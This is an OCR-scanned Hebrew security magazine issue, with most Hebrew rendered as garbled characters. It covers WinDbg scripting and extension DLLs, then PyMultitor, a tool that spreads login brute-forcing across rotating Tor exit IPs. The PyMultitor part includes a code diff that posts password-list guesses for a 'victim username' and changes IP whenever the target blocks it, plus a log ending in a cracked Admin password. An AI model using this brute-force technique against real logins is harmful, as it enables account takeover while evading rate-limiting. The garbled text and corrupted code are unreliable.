2 MTAM NMYIZNRN Nn'Yl N'7IN 75 .0NIX A'¥ni 0son v nmuipyn Nn'vn

typedef struct LIST NODE ({
struct LIST NODE *Next;
int Value;

} LIST NODE;

I7'OK - IN - NN'WAN N7'NNY YRax¥n 10019 72 19 09MPONY NISX7 11IAN 'Y ,NT NNl
127V DX 7277 T .AN'wan N7'NNYT Y'Y NY119 7W q0N19 IX "IN NINwn 7w 0w - 210 N

:${Sarg0} TNI'DN NMINWN2 wnny' N7y V9MPON ,NVNION 1YW

$$ Assume this is in a file called walklist.wds
$$ Checks to see if there *is* a first argument at all

.if (S{/d:Sarg0} == 0) {
.echo This script requires at least one argument
} .else {
.for (r? $t0 = (_LIST NODE*)${$arg0}; @$t0 != 0; r? $t0 = @$t0->Next)

{
.printf "value = %d\n", Q@ (Q@s$t0->Value)
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D"IV'2 AWN71 Y27 N75'n X0, WinDbg 7w noonn naiwn N0 nwnnwn L7"n 091poa
0I19'0N 7Y NNMY N "MT NINWNY NN Nyxan (r-7 Tiaa) r? nTnman nTron .C/C++ 1'anna
-2 D2 @@ TNIMN NIVI9IXAD ,qWNNA ._LIST_NODE* alon xin $t0 n7w nnama 21 ,Mipnn
¥ YW Y 0'9011 0'VI9Y7 .7TNNN NN 'RY ,C/C++ 1'ANND NIWXNXA 10127 on'nin? WinDbg

XN 7w Tiy'na nty ,WinDbg-1 nannan (Expression Modes) n*1van

[IND'T2 NAIMD DNO 17'O9X IX ,N0ND ,'MIzn NNWNT? 71 DRIRT IR ,7"10 09"pPoN N 7'won'? '
25211 TX - LIST_NODE* 2101 ,nT> NnINWN XIN head-¥ N1 .MYIPNRN Nn'YIn WURY7 yRaxn n7'onn

2 N7W VOPON NX 7'WONYT

$$>a< walklist.wds head

m71 N7 DM oMM Y .nra'onNM ni'n? oa 07! n'uo" oY |"X'7 'XTD ,0'0U9"MPPON XKW nI'o?
D'U9"MPO "IN YV IND ,"A'0NIpY NINA XINYW D1INY N1an 7y NayY 7Y TWUKXD Squn? - vam
D'INYNN NX ONT? X7 'O DTV O'7"0 D'YAITIE AT MNKN 7v 'mi72an 02N or"aroni

7w 21720 XIXNY 17010 NN7W NNAITE 09011 D'VYD N0 N7Y9N 17nna ($t0 - $t19) nranth

(Extension DLLsS) nanan nimoso

NIND0 .Y'¥N N7 '22¢U NN'WYNIE NIRYN NAaNAN Ni'ann 07ynn? 715" X7 WinDbg 7y 'nkn 72
X7 ,077 7ap7 N7 Ni7Rala nixpae Yw qoix niv'on WinDbg-7 (Extension DLLs) nann
nWI7Y y'yxn WinDbg ,0r'n . n71yo NIX? WinDbg 7w nimipo71 1'7nnn 7w N2 nwa7l 079
NIX 71 N2 X XD 72X ,(C++-2 DANNN NI7aN NN97 NNWORK 7712) NanTn NIMv0o NIN'SY7 071N
2V D'019Y LMD 7aam N¥p R Win'w? non' uiIwe RN, WDbgExts-n ,Mipnn TN

.WinDbg 7w Tiy'n'? '7'213 DONX N19Nn "IX ,NIDOIIN NI'NYWONRN

non IT NTI9 .lallwaits bwa NNX N2ANTN NTIPO N7Y2 N'OI9'V NANTN N'7'an 7w '0'0d T |70
7y D'01O 0'9TNYI ,WaitForMultipleObjects n'¥j72190 NX 'NdIN (thread) vINN 7w No0NNA NKY
PY ,T272 1V2-32 NPWNY TIAYN NTIE9N) DINNYY 'MAn 0INNY  |N210N 'O aIR NIFT

.(ﬂ']OﬂYJJ D'2YIN DI'X D'VNIS5N V-64 NIdIYN]

#include <windows.h>
#include <wdbgexts.h>
EXT API VERSION g ExtApiVersion = {
5,
5,
EXT API VERSION NUMBER ,
0
b
WINDBG EXTENSION APIS ExtensionApis = {0};
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USHORT SavedMajorVersion = 0xF;
USHORT SavedMinorVersion

Il
o
~

LPEXT API VERSION _ declspec(dllexport) ExtensionApiVersion (void)
{
return &g ExtApiVersion;

}

VOID  declspec(dllexport) WinDbgExtensionDllInit (
PWINDBG EXTENSION APIS lpExtensionApis,
USHORT usMajorVersion,

USHORT usMinorVersion)

{

ExtensionApis = *lpExtensionApis;

}

__declspec(dllexport) DECLARE API (allwaits)

{

BOOL detail = FALSE;
EXTSTACKTRACE stackFrames[20];
ULONG frames;

CHAR symbol[1024];

ULONG 1i;

if (strlen(args) > 0 && 0 == strcmp(args, "-detail"))
{

detail = TRUE;
}

frames = StackTrace (0, 0, 0, stackFrames, ARRAYSIZE (stackFrames)) ;

if (frames == 0)
{

dprintf ("Failed to obtain stack trace\n");
}

for (i1 = 0; 1 < frames; ++1i)
{
ULONG PTR offset;
GetSymbol ( (PVOID) stackFrames[i] .ProgramCounter, symbol,
&offset);
if (strstr(symbol, "WaitForMultipleObjects") != NULL)
{
ULONG read;
ULONG count;
ULONG_PTR handles;
ULONG 7J;

ReadMemory (stackFrames[i] .FramePointer+8, &count,
sizeof (count), é&read);

ReadMemory (stackFrames|[i] .FramePointer+12, &handles,

sizeof (handles), &read);
dprintf ("Waiting on %d handles at 0x%08x\n",
count, handles);

if (FALSE == detail)
return;
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for (j = 0; j < count; ++3j)

HANDLE handle;
ReadMemory (handles + j*sizeof (HANDLE), &handle,
sizeof (handle), &read);
dprintf ("\tHandle #%d: 0x%08x\n", Jj, handle);
}

return;

NINNX NNdI dprintf ,GetExpression ,GetSymbol ,WriteMemory ,ReadMemory NI'¥j72219n 0'01 7y
,NI20TM NIV NIDIN IX NIXRZI7 Niwnnn L |N2'T2 0V NIYSNNN NN NI7'an Nina? na
A'09MPOoN NOWA TWXN C/C++ 1D "N'Mmx" NdWA 2IMdY MNI' NIYW DINK D' DT Nivxani

.WinDbg 7w "nTnIm"n

nid'o

N12INN Yinn DX 2'NNY TYD 1R qRIEL,WinDbg-7 n'¥nIvIR y¥27 0T 1901 12'RY DT 1NKN
NIRNAAITAL ,OIXY DR NI71D2 V7IYY M 1191 NIYI9IN NIFMWOKRN (11210 .NANTN NIMD0 NIYX¥NN
D7 XX' N2OW PN ,gdb-7 D'7'20 DNX DX L[N [INVN 7R'™YIVION 7Y [INZN DXpP 70 [N RY
Visual -2 D'wnnwn DNX 770 0T2 DX 72X .007W MaNAMTN 7Y 0'07IWY DRI D'U9MIR0 AIMdY

.N1'9'7 12yn nonn nbw 0?1y ,Studio

Advanced DMD0nN 7y y'mn X 17 N2ANINNI 2'09"P0N N7 VY91 WinDbg 7y qon yTn?
1Y .Tareek Soulami 7w Inside Windows Debugging-1 Mario Hewardt 7¢ Windows Debugging
D'09"70al WinDbg 7w NINTPNA NITIZ9] WIN'Y? D'NMK D'Y'NINI NINNAIT D'XAN D900

.0'207 I D'VIYS

7annn 7y

YINn 'l AT Lyt nnan Ly70 nviapg 7w CTO-n NN ["OWTI2 NWO
,CLR-NI Windows 7¢ D72 1017 ANk NWO 781w nun Dy NI

Pro 190N 12NN XN NWO .0'N1AA DWIXTA NIV NI NINAY 1912 NNl

.NET Debugging Xwina n'oNlj v70 N'7'70na m'n Wntn 1an,.NET Performance

.0V NIN'D 'RW 7V 2172 AN nwo L1190 1T .Windows Internals-I
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MIX NXYY7 IN'7¥' X7 DNX 97X - PyMultitor

N'T NN NXN

n'7'n 'nw2a Tor - anNTN

Tor nwn ,("NT 2V NDHNNY AWOKR") K1VI'RN 'ANNA N'NIIR MIYPN NMYOXNN N'MYN N1 Tor
oW IR 0T ,01NVI'RY N'NIIKR DX'Y WONN NV 7D ,0'MW 4,500 7un NN 11 D 721 n7TaA
YNNYUNN 2UNNN X¥NY MIYPNN DAY [P NAIMD 117 NNYI "MK '0NDd NIX wnw? 710 v

:ToR 7y qon yTnY7 .AIM'N? AN’ NWR 2NN 221 N19XIN NN Tor 7w oMYy

https://www.torproject.org/about/overview.html.en

?Tor-2 'nIN2 nNnY

2w 7172 "90n n'on Nyt TINn Tor ,NT N2N DYP'TANA K7W DRIWA 'O7N9N MN'YY Tiana
| |
v Tor-7 .97 0'"MNK DI'R DP7NY 'O7N9N 'MIYNA NI NP NNN NIFNIIR NYWONRAL DMWY

Y NNt UFJ'? NNWOX DAl Framework

"' 1NN NLVN

NX' D ,IWOX NT DKRN 'MXY DX M7RW TR DI 77'2702 Nimign nnd NIl oyoS DNty
niwann niya vt (PenTesting) |0IN NIPPTA Y¥NX2 DNXRYD .LUP"'NON NX wnn? 'M7Nnnny
090 NNOY7 'MNV7NN D7 ,NYTAN K'XINT7 710" VIYD AT ,N9'PNN MY 7¥ IP-N NIND nNn'onn
A'WN7 MNP NI 130 Y 71T IP-d NIAUND 190D T n'a? 0N |NN9I Framework |N'w

.WAF Bypass ,Bruteforce |12> NI9NN DY NRT 277 ¥ ,NIQI0 NIXXIN
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?T21y PyMultitor 'X

Tor 7w 170N ‘D ,(Sub Processes) Tor 7w n'2'7nn 121 (Gevent) EventLoop Dy Taly PyMultitor
NaIMD - NIAMd 2 pw' Tor 7w 70N 7257 2 1D .n1onn 2% 11 (Proxy) IP NaImd 72y 'RONK
MY’ ,nnon IP NamdY T2 v7NINY Y9 751 710 NamdI (Socks 4a Proxy) UINVI'R? NR'Y!
.NUTN IP NaIMd 727 Jpal Tor 7w NINTN DX 97007 DTN WX DYAI97 XNj77 NNWONR

AIXY' X7 NIRTAN )'70NN1E Nnxy 7 IThN NNoNIY nwpan

PyMultitor 7& ni1ann

:TorConnection
70NN L, Tor 7w A'¥IAT9IR ,AR'N'D VIID ,NVY7WUN V1D ,Tor 7w D1*'OXRNN 72 K N'7'ON IT NP'7NN
Nn7a7 19 IP-n DN NPT YWONNN 7aT ,(requesocks 7'awa Https / Https) 'opino ,Tor 7w
75 N97Nn NWjpa 7277 DI Tor) NINNKN DY9A IP-N NN N97NNN NN 2TIAN NINWNI NIV

.(IP M2m3) NINT '1N'YI ,N'NNDS D NIY2AI9 N7'DN DA 7NN .(Nimw 10

:TorConnectionCollector
22 NN NDIN2 TARY? NINIT NP'7nn 7w nT'Ron ,TorConnections 7w 'y NdINA n'7'Dn 1T NP7Nn
X'D DPITNN Y 'RONRY D190 NNIWR Nin'wn?  DNIR 770721 TorConnections-n
N7D' N'WUXIN DY190 D1 'woinn TorConnection-n ' NPTIA Y190 ,getFreeConnection

A wnnwn?

Y¥27 N1DINT7 DNA7 1 ,pool_function N'¥1190 DX NNWY? W' 11NN NI71IY9 DX 97007 Nin 7y
NNI¥2 NINNO'O NP7NNY NR7NN 1X"7 AWONR IP-N NIAIMD NX NIXINY DI Bruteforce Nopnn
NN N9'7NNY N'¥1I97 XN77 W' D OX) NnoN1 IP-N NAIMd OXN 2127 )X PN NX? .MM T'o
D'D'7NNN 27 TA'W AT X7 W D OX) NNYXN N0DN DRN ZITA7 DA W'D nd (IP-0 namd

(a0
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Yin'y? NIiNnIT

:Bruteforce-7 PoC-n Nayn

0P'N9N NOINY TIPN NNIY NINIoN DITNA ,Gitlab-2 vP"'MON TN NP7 NIPIXNA NIIMNN

A90INY TN NNIY NI Ipnn

,NINNO'0Y YIN 190NN N97NNN van a1 "'y ,%s-7 %d-n '11'w DR NIKN7 [N ,NKAN NMimna
NX MY |2 1ND UKIN 'MDAY NI 9717 dyndnsn HTTPN Nwpa MWy DR 'MA'Y DN INKY

:(user, pass, login) D"1VN1O 'MoInI POST-7 GET-n nN'7wn NLV'Y

MultiTor. Py View file @ 63a96bb
12 12 from TorConfig import *
13 13 from gevent.pool import Pool
14 14 from gevent import Timeout
15 -from re import Tindall
15 +from sys import exit
16 16 from os import makedirs
17 17 from time import time as now
18 18 from requesocks import request
114 | 114 def changeIp(self, i, msg):
115 | 115 #Tor Need 16 Seconds(TOR_TIMEOUT) Difference Between Id changes
116 | 116 if (now() - self._ lastTimeIpChanged) == torCfg.TOR_TIMEOUT:
117 - print "%s\t-=\t%d) changeIP (%s)" % (self.getId(), i, msg)
117 | + print "#%s\t-=\t%s) changeIP (%s)" % (self.getId(), i, msg)
118 118
118 119 #Check IT Timedout
1ze 128 timedout = True
187 187 torid = torconn.getId()
188 188 size = len{torRange)
189 189
198 = print "ss\t-=\tstart (%d - %d)" % (torId, torRange[e], torRamge[-1])
198 + print "¥s\t-=\tStart (%¥s - %s)" % (torId, torRange[@], torRange[-1])
191 191 i=60
192 192
133 193 #Using A while Loop - For Loop Cant Move Backwards
194 194 while 1 = size:
195 195 try:
196 196 #Send Reguest
197 - req = reguest(method="GET",
198 - url="http://checkip.dyndns.org/",
197 + req = reguest(method="FOST",
198 + url="http://RealGame.co.il/multitor/",
199 | + data={'user': username, 'pass': torrRange[i], 'login': 'Login'},
199 208 timeout=torcfg.REQUEST_TIMEOUT,
288 201 headers=torcfg.HEADERS,
281 282 proxies=proxies)
288 218 ipcChanged = torconn.changeIp(torRange[i], ex)
218 | 211 continue
211 212
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“NIP'T2 1901 YW N90IN NINIYZ N1 NNAN MINNa

NAIND) NINT '1I'W 72U I'RINKY Y1197 AKX W' [D DX - NNoNA IP- NAIND OXN Aj7'Ta @
(IP

JDINNN NRXI'Y N'¥72197 RN W' D DX - NNO'0N NN IINXN DNN DT @

XD 0D'wNN NI N1 X7 NNno'on L,17W IP-0 NaInd nnona X71 nN7¥n X7¢ njzna

N'URIN N'Y7I192 DTI'YN DX NIRY N1, D D

,D'PTI2 1IN NIX NINNO'ON 7W NNn'wN 7'Dn YW passwords *71172 nInwn - e

.D'PTIR X MIX YNNWYNN DY NIX 700 QWK username 22172 NINWN -~ o

YAl 7w X'mn Dip'mn DX 0'DNY MIX W X7 DX ,password.st Yalpn DY DXN NPT e
JINNO'ON

JINNO'ON NN'YWN 7'7N7 rangen pool_function N'¥j72197 NN™wN Y0N9 'Y e

212
213

214
215
216
223
224

225
226

228
229
230
244
245

248
247

#Print Result
print "ss\t-=\t%d) %s" % (torId, torrange[i], "".join(fTindall(r"[e-9]+(?:\.[@-9]+){3}", res)))

213 | + if 'Blocked' in res:

214 + torconn.changeIp(torrange[i], "IP Address Blocked!")
215 | + continue

216 + elif not (('user' in res) and ('pass' in res)):

217 |+ print "Succeed ({6} : {1}).".format(username, torRange[i])
218 + exit()

219 | + else:

220 + print "xs\t-=\t%s) Failed" % (torId, torrange[i])
221 |+

222 i+=1

223

224 #Change IP

231

232

233 | def main():
global torcfg, torconncoll, passPhraseHash

234 + global torcfg, torconncell, passPhraseHash, passwords, username
235 +
236 + #Basic configuration
237 torcfg = BasicConfiguration()
238 +
239 | + #Enter Username
248 + username = raw_input("Please Enter victim username: ")
241 +
242 + #Passwords File
243 + passwords_file = path.join(getcwd(), "password.lst")
244 + if not path.exists(passwords_file):
245 + passwords_file = raw_input("Please Enter The Passwords File Path: ")
246 + passwords = open(passwords_file, "ru").read().splitlines()
247 +
248 + #Check Passwords File Length (Avoid corruption)
249 + passwords_length = len(passwords)
258 + if torcfg.END > passwords_length:
251 | + torcfg.END = passwords_length
252 +
253 #Force To Kill All Tor Processes
254 kill_tor_processes()
255
269 #Create The Threads Pool
278 torpool = pPool(size=torcfg.MAX_NUM_OF_THREADS)
271 for i in xrange(torcfg.START, torCfg.END, torCfg.INC):
= torpool.spawn(pool_function, range(i, i + torcfg.INC))
272 |+ torPool. spawn(pool_function, passwords[i: i + torCfg.INC])
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nN'XAIA'9pn Yal?y NX DM'ON X7 n'm"z) N'X1IA'917 '"N'YUn NX nIXY? [N NAXAN NJiNnha

:(Configurable Branch-? Master Brnach-n Github-2 112y W' 0j7'INONN

SO L T % R

W0 =l & o

18

k torCfg.conf

[parameters]
PASS _PHRASE = lol

MAX_NUM_OF_THREADS = 4

REQUEST_TIMEOUT = 15
MAX_RETRIES = 2

CONTROL_START_PORT = 9658
SOCKS_START_PORT = 5850

START = 0
END = 480
INC = 58

edit | raw | blame history

NN7XIM DX INKRY NDINN 079 7Y XNAIT,|2mDI

Please Enter Victim Username:

Tor 5050
Tor 5050
Tor 5050
Tor 5050
Tor 5050
Tor 5051
Tor 5051
Tor 5051
Tor 5051
Tor 5051
Tor 5052
Tor 5052
Tor 5052
Tor 5052
Tor 5052
Tor_ 5053
Tor 5053
Tor 5053
Tor 5053
Tor_ 5053
Tor 5050
Tor 5051
Tor 5052
Tor_ 5053
Tor_ 5052
Tor 5050
Tor 5051
Tor 5052
Tor_ 5052
Tor 5051
Tor 5050
Tor 5052
Tor_ 5052
Tor 5051
Tor 5052
Tor 5050
Tor 5051
Tor 5050
Tor_ 5051
Tor_5050
Tor 5051
Tor 5050
Tor 5053

Admin

=> Oct 29 00:44:37.000 [notice] Bootstrapped 80%: Connecting to the Tor network.
-> Oct 29 00:44:39.000 [notice] Bootstrapped 85%: Finishing handshake with first hop.
-> Oct 29 00:44:39.000 [notice] Bootstrapped 90%: Establishing a Tor circuit.

-> Oct 29 00:44:39.000 [notice] Bootstrapped 100%: Done.

-> Up & Running!

=> Oct 29 00:44:40.000 [notice] Bootstrapped 80%: Connecting to the Tor network.
-> Oct 29 00:44:41.000 [notice] Bootstrapped 85%: Finishing handshake with first hop.
-> Oct 29 00:44:41.000 [notice] Bootstrapped 90%: Establishing a Tor circuit.

-> Oct 29 00:44:42.000 [notice] Bootstrapped 100%: Done.

-> Up & Running!

=> Oct 29 00:44:43.000 [notice] Bootstrapped 80%: Connecting to the Tor network.
-> Oct 29 00:44:44.000 [notice] Bootstrapped 85%: Finishing handshake with first hop.
-> Oct 29 00:44:44.000 [notice] Bootstrapped 90%: Establishing a Tor circuit.

—> Oct 29 00:44:46.000 [notice] Bootstrapped 100%: Done.

-> Up & Running!

=> Oct 29 00:44:47.000 [notice] Bootstrapped 80%: Connecting to the Tor network.
-> Oct 29 00:44:48.000 [notice] Bootstrapped 85%: Finishing handshake with first hop.
=3 Oct 29 00:44:49.000 [notice] Bootstrapped 90%: Establishing a Tor circuit.

—> Oct 29 00:44:49.000 [notice] Bootstrapped 100%: Done.

-> Up & Running!

=2 Start (andrea - muffin)

—> Start (rabbit - alexander)

—> Start (matthew - pookie)

-> Start (123456 - fuckyou)

-> matthew) Failed

-> andrea) Failed

—> rabbit) Failed

—> miller) Failed

=> tiger) Failed

-> rachel) Failed

—> anna) Failed

—> trustnol) Failed

-> alex) Failed

-> rocket) Failed

—> apple) ChangeIP (IP Address Blocked!)

—> anthony) Failed

-> rose) Failed

-> asdfjkl;) Failed

-> smile) Failed

-> ashley) Failed

-> sparky) ChangeIP (IP Address Blocked!)

-> basketball) ChangelIP (IP Address Blocked!)

-> 123456) ChangeIP (Request timed out.)

36
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Tor 5053 > 123456) Failed

Tor_5053 -> 12345) Failed

Tor_5053 -> password) Failed

Tor 5051 => sparky) Failed

Tor 5050 > basketball) ChangeIP ((6, 'TTL expired'))
Tor 5053 > passwordl) Failed

Tor 5052 -> apple) ChangeIP (Request timed out.)

Tor 5051 => spring) Failed

Tor 5051 > steven) Failed

Tor 5051 > success) Failed

Tor 5053 => 123456789) Failed

Tor_ 5051 -> sunshine) Failed

Tor 5051 > victoria) ChangeIP (IP Address Blocked!)
Tor 5053 > 12345678) ChangeIP (IP Address Blocked!)
Tor 5053 => 12345678) Failed

Tor 5053 => 1234567890) Failed

Tor 5053 > abcl23) Failed

Tor 5053 > computer) Failed

Tor 5051 -> victoria) ChangeIP ((6, 'TTL expired'))
Tor 5053 -> tigger) Failed

Tor 5053 > 1234) ChangeIP (IP Address Blocked!)

Tor 5050 —> basketball) ChangeIP (Request timed out.)
Tor 5052 -> apple) ChangeIP (Request timed out.)

Tor 5050 -> basketball) Failed

Tor_ 5050 -> beavis) Failed

Tor 5050 > black) Failed

Tor 5052 -> apple) Failed

Tor 5050 -> bob) Failed

Tor_ 5050 -> booboo) Failed

Succeed (Admin : garfield).

Interrupted

Process finished with exit code 2
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My Site / Blog:

e http://RealGame.co.il

PyMultitor Source Code:

e https://github.com/realgam3/pymultitor

PyMultitor Configurable Branch:

e https://github.com/realgam3/pymultitor/tree/configurable

e  Multi Ip Threaded Tor Bruteforce - Poc :

e http://www.securitytube.net/video /6876

Multi Ip Threaded Tor Bruteforce - Poc 2:

e http://www.securitytube.net/video/7038HYPERLINK

About Tor Project:

e https://www.torproject.org/about/overview.html.en

Stem Docs (Tor Python API):

e https://stem.torproject.org

Gevent (Threading Alternative - Python Lib):

e http://www.gevent.org/

Gevent Vs Threading Comparison:

e https://github.com/zacharyvoase/gevent-threading-comparison

Technologic
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